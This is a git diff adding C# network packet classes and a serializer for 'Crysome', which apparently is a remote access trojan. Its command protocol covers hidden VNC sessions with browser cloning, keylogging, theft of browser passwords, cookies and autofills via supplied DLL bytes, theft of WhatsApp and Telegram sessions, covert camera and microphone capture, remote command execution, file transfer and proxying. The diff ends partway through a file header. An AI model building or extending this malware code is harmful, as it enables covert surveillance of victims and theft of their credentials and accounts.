diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetScreensRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetScreensRequestPacket.cs new file mode 100644 index 0000000..f4000bb --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetScreensRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetScreensRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/GetSystemInfoRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetSystemInfoRequestPacket.cs new file mode 100644 index 0000000..597ddf1 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/GetSystemInfoRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetSystemInfoRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/HvncInputPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/HvncInputPacket.cs new file mode 100644 index 0000000..3b9bde8 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/HvncInputPacket.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class HvncInputPacket : IPacket +{ + public int Msg { get; set; } + + public int WParam { get; set; } + + public int LParam { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Msg); + w.Write(WParam); + w.Write(LParam); + } + + public void Read(BinaryReader r) + { + Msg = r.ReadInt32(); + WParam = r.ReadInt32(); + LParam = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/HvncRunRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/HvncRunRequestPacket.cs new file mode 100644 index 0000000..b989801 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/HvncRunRequestPacket.cs @@ -0,0 +1,69 @@ +using System.IO; +using System.Text; + +namespace Crysome.Common.Network.Packets.Server; + +public class HvncRunRequestPacket : IPacket +{ + public const byte ActionExplorer = 0; + + public const byte ActionRunDialog = 1; + + public const byte ActionCmd = 2; + + public const byte ActionPowerShell = 3; + + public const byte ActionChrome = 4; + + public const byte ActionEdge = 5; + + public const byte ActionFirefox = 6; + + public const byte ActionOpera = 7; + + public const byte ActionOperaGX = 8; + + public const byte ActionBrave = 9; + + public const byte ActionCustom = 10; + + public const byte ActionCloneChrome = 11; + + public const byte ActionCloneEdge = 12; + + public const byte ActionCloneFirefox = 13; + + public const byte ActionCloneOpera = 14; + + public const byte ActionCloneOperaGX = 15; + + public const byte ActionCloneBrave = 16; + + public const byte ActionNotepad = 17; + + public const byte ActionCalculator = 18; + + public const byte ActionDiscord = 19; + + public byte Action { get; set; } + + public string Path { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Action); + byte[] bytes = Encoding.UTF8.GetBytes(Path ?? ""); + w.Write(bytes.Length); + if (bytes.Length != 0) + { + w.Write(bytes); + } + } + + public void Read(BinaryReader r) + { + Action = r.ReadByte(); + int num = r.ReadInt32(); + Path = ((num > 0) ? Encoding.UTF8.GetString(r.ReadBytes(num)) : ""); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/KillProcessRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/KillProcessRequestPacket.cs new file mode 100644 index 0000000..33aa19c --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/KillProcessRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class KillProcessRequestPacket : IPacket +{ + public int Pid { get; set; } + + public KillProcessRequestPacket() + { + } + + public KillProcessRequestPacket(int pid) + { + Pid = pid; + } + + public void Write(BinaryWriter w) + { + w.Write(Pid); + } + + public void Read(BinaryReader r) + { + Pid = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/PingRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/PingRequestPacket.cs new file mode 100644 index 0000000..e499b85 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/PingRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class PingRequestPacket : IPacket +{ + public long ServerTick { get; set; } + + public PingRequestPacket() + { + } + + public PingRequestPacket(long serverTick) + { + ServerTick = serverTick; + } + + public void Write(BinaryWriter w) + { + w.Write(ServerTick); + } + + public void Read(BinaryReader r) + { + ServerTick = r.ReadInt64(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RdpSetQualityPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RdpSetQualityPacket.cs new file mode 100644 index 0000000..ebe3d30 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RdpSetQualityPacket.cs @@ -0,0 +1,35 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RdpSetQualityPacket : IPacket +{ + public int Quality { get; set; } = 80; + + public int IntervalMs { get; set; } + + public RdpSetQualityPacket() + { + } + + public RdpSetQualityPacket(int quality, int intervalMs = 0) + { + Quality = quality; + IntervalMs = intervalMs; + } + + public void Write(BinaryWriter w) + { + w.Write(Quality); + w.Write(IntervalMs); + } + + public void Read(BinaryReader r) + { + Quality = r.ReadInt32(); + if (r.BaseStream.Position < r.BaseStream.Length) + { + IntervalMs = r.ReadInt32(); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/ReadFileRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/ReadFileRequestPacket.cs new file mode 100644 index 0000000..f248cdd --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/ReadFileRequestPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class ReadFileRequestPacket : IPacket +{ + public string Path { get; set; } + + public long TransferId { get; set; } + + public ReadFileRequestPacket() + { + } + + public ReadFileRequestPacket(string path, long transferId = 0L) + { + Path = path ?? ""; + TransferId = transferId; + } + + public void Write(BinaryWriter w) + { + w.Write(Path ?? ""); + w.Write(TransferId); + } + + public void Read(BinaryReader r) + { + Path = r.ReadString(); + TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RemoteInputPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RemoteInputPacket.cs new file mode 100644 index 0000000..ae718d5 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RemoteInputPacket.cs @@ -0,0 +1,30 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RemoteInputPacket : IPacket +{ + public byte Kind { get; set; } + + public int X { get; set; } + + public int Y { get; set; } + + public int ButtonOrKey { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Kind); + w.Write(X); + w.Write(Y); + w.Write(ButtonOrKey); + } + + public void Read(BinaryReader r) + { + Kind = r.ReadByte(); + X = r.ReadInt32(); + Y = r.ReadInt32(); + ButtonOrKey = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestAudioPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestAudioPacket.cs new file mode 100644 index 0000000..8f0c650 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestAudioPacket.cs @@ -0,0 +1,42 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RequestAudioPacket : IPacket +{ + public int Seconds { get; set; } = 5; + + public int DeviceIndex { get; set; } + + public RequestAudioPacket() + { + } + + public RequestAudioPacket(int seconds, int deviceIndex = 0) + { + Seconds = seconds; + DeviceIndex = deviceIndex; + } + + public void Write(BinaryWriter w) + { + w.Write(Seconds); + w.Write(DeviceIndex); + } + + public void Read(BinaryReader r) + { + Seconds = r.ReadInt32(); + try + { + if (r.BaseStream.Position < r.BaseStream.Length) + { + DeviceIndex = r.ReadInt32(); + } + } + catch + { + DeviceIndex = 0; + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestCameraFramePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestCameraFramePacket.cs new file mode 100644 index 0000000..28c842e --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestCameraFramePacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RequestCameraFramePacket : IPacket +{ + public int DeviceIndex { get; set; } + + public RequestCameraFramePacket() + { + } + + public RequestCameraFramePacket(int deviceIndex) + { + DeviceIndex = deviceIndex; + } + + public void Write(BinaryWriter w) + { + w.Write(DeviceIndex); + } + + public void Read(BinaryReader r) + { + try + { + if (r.BaseStream.Length >= 4) + { + DeviceIndex = r.ReadInt32(); + } + } + catch + { + DeviceIndex = 0; + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestCredentialsPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestCredentialsPacket.cs new file mode 100644 index 0000000..dea4902 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RequestCredentialsPacket.cs @@ -0,0 +1,48 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RequestCredentialsPacket : IPacket +{ + public const byte TypePasswords = 0; + + public const byte TypeCookies = 1; + + public const byte TypeBoth = 2; + + public const byte TypeAutofills = 3; + + public const byte TypeAll = 4; + + public byte RequestType { get; set; } + + public byte[] DllBytes { get; set; } + + public RequestCredentialsPacket() + { + } + + public RequestCredentialsPacket(byte requestType, byte[] dllBytes = null) + { + RequestType = requestType; + DllBytes = dllBytes; + } + + public void Write(BinaryWriter w) + { + w.Write(RequestType); + int num = ((DllBytes != null) ? DllBytes.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(DllBytes); + } + } + + public void Read(BinaryReader r) + { + RequestType = r.ReadByte(); + int num = r.ReadInt32(); + DllBytes = ((num > 0) ? r.ReadBytes(num) : null); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RestartRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RestartRequestPacket.cs new file mode 100644 index 0000000..1b44cb2 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RestartRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RestartRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/ReverseProxyStartPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/ReverseProxyStartPacket.cs new file mode 100644 index 0000000..09e9a7c --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/ReverseProxyStartPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class ReverseProxyStartPacket : IPacket +{ + public int ConnectionId { get; set; } + + public ReverseProxyStartPacket() + { + } + + public ReverseProxyStartPacket(int connectionId) + { + ConnectionId = connectionId; + } + + public void Write(BinaryWriter w) + { + w.Write(ConnectionId); + } + + public void Read(BinaryReader r) + { + ConnectionId = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/RunCommandRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/RunCommandRequestPacket.cs new file mode 100644 index 0000000..88b4c7f --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/RunCommandRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RunCommandRequestPacket : IPacket +{ + public string Command { get; set; } + + public RunCommandRequestPacket() + { + } + + public RunCommandRequestPacket(string command) + { + Command = command; + } + + public void Write(BinaryWriter w) + { + w.Write(Command ?? ""); + } + + public void Read(BinaryReader r) + { + Command = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/SendFileRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/SendFileRequestPacket.cs new file mode 100644 index 0000000..44964c5 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/SendFileRequestPacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class SendFileRequestPacket : IPacket +{ + public string Filename { get; set; } + + public byte[] FileData { get; set; } + + public SendFileRequestPacket() + { + } + + public SendFileRequestPacket(string filename, byte[] fileData) + { + Filename = filename; + FileData = fileData; + } + + public void Write(BinaryWriter w) + { + w.Write(Filename ?? ""); + w.Write((FileData != null) ? FileData.Length : 0); + if (FileData != null) + { + w.Write(FileData); + } + } + + public void Read(BinaryReader r) + { + Filename = r.ReadString(); + int count = r.ReadInt32(); + FileData = r.ReadBytes(count); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StartAudioStreamPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartAudioStreamPacket.cs new file mode 100644 index 0000000..66b9733 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartAudioStreamPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartAudioStreamPacket : IPacket +{ + public int DeviceIndex { get; set; } + + public StartAudioStreamPacket() + { + } + + public StartAudioStreamPacket(int deviceIndex) + { + DeviceIndex = deviceIndex; + } + + public void Write(BinaryWriter w) + { + w.Write(DeviceIndex); + } + + public void Read(BinaryReader r) + { + DeviceIndex = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StartHvncPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartHvncPacket.cs new file mode 100644 index 0000000..9865840 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartHvncPacket.cs @@ -0,0 +1,22 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartHvncPacket : IPacket +{ + public int Quality { get; set; } = 80; + + public int IntervalMs { get; set; } = 100; + + public void Write(BinaryWriter w) + { + w.Write(Quality); + w.Write(IntervalMs); + } + + public void Read(BinaryReader r) + { + Quality = r.ReadInt32(); + IntervalMs = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StartKeyloggerPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartKeyloggerPacket.cs new file mode 100644 index 0000000..ba4b993 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartKeyloggerPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartKeyloggerPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StartProxyRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartProxyRequestPacket.cs new file mode 100644 index 0000000..e8f1e03 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartProxyRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartProxyRequestPacket : IPacket +{ + public int SocksPort { get; set; } + + public StartProxyRequestPacket() + { + } + + public StartProxyRequestPacket(int socksPort) + { + SocksPort = socksPort; + } + + public void Write(BinaryWriter w) + { + w.Write(SocksPort); + } + + public void Read(BinaryReader r) + { + SocksPort = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StartRemoteDesktopPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartRemoteDesktopPacket.cs new file mode 100644 index 0000000..c0c283c --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartRemoteDesktopPacket.cs @@ -0,0 +1,46 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartRemoteDesktopPacket : IPacket +{ + public int IntervalMs { get; set; } = 200; + + public int ScreenIndex { get; set; } = -1; + + public int UdpPort { get; set; } + + public uint SessionToken { get; set; } + + public byte CaptureMode { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(IntervalMs); + w.Write(ScreenIndex); + w.Write(UdpPort); + w.Write(SessionToken); + w.Write(CaptureMode); + } + + public void Read(BinaryReader r) + { + IntervalMs = r.ReadInt32(); + if (r.BaseStream.Position < r.BaseStream.Length) + { + ScreenIndex = r.ReadInt32(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + UdpPort = r.ReadInt32(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + SessionToken = r.ReadUInt32(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + CaptureMode = r.ReadByte(); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StartReverseProxyPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartReverseProxyPacket.cs new file mode 100644 index 0000000..057c205 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StartReverseProxyPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartReverseProxyPacket : IPacket +{ + public int ServerPort { get; set; } + + public StartReverseProxyPacket() + { + } + + public StartReverseProxyPacket(int serverPort) + { + ServerPort = serverPort; + } + + public void Write(BinaryWriter w) + { + w.Write(ServerPort); + } + + public void Read(BinaryReader r) + { + ServerPort = r.ReadInt32(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StopAudioStreamPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopAudioStreamPacket.cs new file mode 100644 index 0000000..42c8cd7 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopAudioStreamPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopAudioStreamPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StopHvncPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopHvncPacket.cs new file mode 100644 index 0000000..f73e73c --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopHvncPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopHvncPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StopKeyloggerPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopKeyloggerPacket.cs new file mode 100644 index 0000000..85f7706 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopKeyloggerPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopKeyloggerPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StopProxyRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopProxyRequestPacket.cs new file mode 100644 index 0000000..cd11c58 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopProxyRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopProxyRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/StopRemoteDesktopPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopRemoteDesktopPacket.cs new file mode 100644 index 0000000..bbc4505 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/StopRemoteDesktopPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopRemoteDesktopPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/TakeScreenshotRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/TakeScreenshotRequestPacket.cs new file mode 100644 index 0000000..47536e4 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/TakeScreenshotRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class TakeScreenshotRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/TelegramSessionRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/TelegramSessionRequestPacket.cs new file mode 100644 index 0000000..a1be9d5 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/TelegramSessionRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class TelegramSessionRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/WhatsAppSessionRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/WhatsAppSessionRequestPacket.cs new file mode 100644 index 0000000..97eabf0 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/WhatsAppSessionRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class WhatsAppSessionRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Server/WriteFileRequestPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Server/WriteFileRequestPacket.cs new file mode 100644 index 0000000..01eb79a --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Server/WriteFileRequestPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class WriteFileRequestPacket : IPacket +{ + public string DestPath { get; set; } + + public long TransferId { get; set; } + + public byte[] Data { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(DestPath ?? ""); + w.Write(TransferId); + int num = ((Data != null) ? Data.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(Data); + } + } + + public void Read(BinaryReader r) + { + DestPath = r.ReadString(); + TransferId = r.ReadInt64(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : null); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets/ChatMessagePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets/ChatMessagePacket.cs new file mode 100644 index 0000000..9c65606 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets/ChatMessagePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets; + +public class ChatMessagePacket : IPacket +{ + public string Message { get; set; } = ""; + + public ChatMessagePacket() + { + } + + public ChatMessagePacket(string message) + { + Message = message ?? ""; + } + + public void Write(BinaryWriter w) + { + w.Write(Message ?? ""); + } + + public void Read(BinaryReader r) + { + Message = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets/IPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets/IPacket.cs new file mode 100644 index 0000000..af788d2 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets/IPacket.cs @@ -0,0 +1,10 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets; + +public interface IPacket +{ + void Write(BinaryWriter w); + + void Read(BinaryReader r); +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets/PacketSerializer.cs b/Crysome.Common/Crysome.Common.Network.Packets/PacketSerializer.cs new file mode 100644 index 0000000..35828db --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets/PacketSerializer.cs @@ -0,0 +1,133 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Crysome.Common.Network.FileTransfer; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Common.Network.Packets; + +public static class PacketSerializer +{ + private static readonly Dictionary IdToType; + + private static readonly Dictionary TypeToId; + + static PacketSerializer() + { + IdToType = new Dictionary(); + TypeToId = new Dictionary(); + Register(1, typeof(ClientInfoResponsePacket)); + Register(2, typeof(ClientInfoRequestPacket)); + Register(3, typeof(PingResponsePacket)); + Register(4, typeof(PingRequestPacket)); + Register(5, typeof(RunCommandResponsePacket)); + Register(6, typeof(RunCommandRequestPacket)); + Register(7, typeof(DirectLinkResponsePacket)); + Register(8, typeof(DirectLinkRequestPacket)); + Register(9, typeof(FileTransferResponsePacket)); + Register(10, typeof(FileTransferRequestPacket)); + Register(11, typeof(GetSystemInfoResponsePacket)); + Register(12, typeof(GetSystemInfoRequestPacket)); + Register(13, typeof(GetDrivesResponsePacket)); + Register(14, typeof(GetDrivesRequestPacket)); + Register(15, typeof(GetDirectoryResponsePacket)); + Register(16, typeof(GetDirectoryRequestPacket)); + Register(17, typeof(NotifyStatusResponsePacket)); + Register(18, typeof(DeleteFileRequestPacket)); + Register(19, typeof(DownloadFileRequestPacket)); + Register(20, typeof(RestartRequestPacket)); + Register(21, typeof(SendFileRequestPacket)); + Register(22, typeof(TakeScreenshotRequestPacket)); + Register(23, typeof(TakeScreenshotResponsePacket)); + Register(24, typeof(StartProxyRequestPacket)); + Register(25, typeof(StopProxyRequestPacket)); + Register(26, typeof(ProxyStatusResponsePacket)); + Register(27, typeof(GetProcessListRequestPacket)); + Register(28, typeof(GetProcessListResponsePacket)); + Register(29, typeof(KillProcessRequestPacket)); + Register(30, typeof(RequestAudioPacket)); + Register(31, typeof(AudioDataPacket)); + Register(32, typeof(RequestCameraFramePacket)); + Register(33, typeof(CameraFramePacket)); + Register(34, typeof(StartRemoteDesktopPacket)); + Register(35, typeof(StopRemoteDesktopPacket)); + Register(36, typeof(DesktopFramePacket)); + Register(37, typeof(RemoteInputPacket)); + Register(38, typeof(ReverseProxyStartPacket)); + Register(39, typeof(ReverseProxyDataPacket)); + Register(40, typeof(ReverseProxyEndPacket)); + Register(41, typeof(StartReverseProxyPacket)); + Register(42, typeof(RequestCredentialsPacket)); + Register(43, typeof(CredentialsResponsePacket)); + Register(44, typeof(StartHvncPacket)); + Register(45, typeof(StopHvncPacket)); + Register(46, typeof(HvncFramePacket)); + Register(47, typeof(HvncInputPacket)); + Register(48, typeof(HvncRunRequestPacket)); + Register(49, typeof(StartKeyloggerPacket)); + Register(50, typeof(StopKeyloggerPacket)); + Register(51, typeof(KeylogDataPacket)); + Register(52, typeof(ChatMessagePacket)); + Register(53, typeof(GetCameraDevicesPacket)); + Register(54, typeof(CameraDevicesResponsePacket)); + Register(55, typeof(GetAudioDevicesPacket)); + Register(56, typeof(AudioDevicesResponsePacket)); + Register(57, typeof(StartAudioStreamPacket)); + Register(58, typeof(StopAudioStreamPacket)); + Register(59, typeof(AudioStreamChunkPacket)); + Register(60, typeof(ReadFileRequestPacket)); + Register(61, typeof(ReadFileResponsePacket)); + Register(62, typeof(GetScreensRequestPacket)); + Register(63, typeof(ScreensResponsePacket)); + Register(64, typeof(RdpSetQualityPacket)); + Register(65, typeof(FtStartPacket)); + Register(66, typeof(FtChunkPacket)); + Register(67, typeof(FtSackPacket)); + Register(68, typeof(FtDonePacket)); + Register(69, typeof(FtAbortPacket)); + Register(70, typeof(WriteFileRequestPacket)); + Register(71, typeof(WriteFileResponsePacket)); + Register(72, typeof(ClientInventoryReportPacket)); + Register(73, typeof(WhatsAppSessionRequestPacket)); + Register(74, typeof(WhatsAppSessionResponsePacket)); + Register(75, typeof(OfflineKeylogDataPacket)); + Register(76, typeof(TelegramSessionRequestPacket)); + Register(77, typeof(TelegramSessionResponsePacket)); + } + + private static void Register(byte id, Type type) + { + IdToType[id] = type; + TypeToId[type] = id; + } + + public static byte[] Serialize(IPacket packet) + { + using MemoryStream memoryStream = new MemoryStream(); + using BinaryWriter binaryWriter = new BinaryWriter(memoryStream, Encoding.UTF8); + if (!TypeToId.TryGetValue(packet.GetType(), out var value)) + { + throw new InvalidOperationException("Unknown packet type: " + packet.GetType().Name); + } + binaryWriter.Write(value); + packet.Write(binaryWriter); + binaryWriter.Flush(); + return memoryStream.ToArray(); + } + + public static IPacket Deserialize(byte[] data) + { + using MemoryStream input = new MemoryStream(data); + using BinaryReader binaryReader = new BinaryReader(input, Encoding.UTF8); + byte key = binaryReader.ReadByte(); + if (!IdToType.TryGetValue(key, out var value)) + { + throw new InvalidOperationException("Unknown packet ID: " + key); + } + IPacket obj = (IPacket)Activator.CreateInstance(value); + obj.Read(binaryReader); + return obj; + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Transport/ITransportSession.cs b/Crysome.Common/Crysome.Common.Network.Transport/ITransportSession.cs new file mode 100644 index 0000000..19648ea --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Transport/ITransportSession.cs @@ -0,0 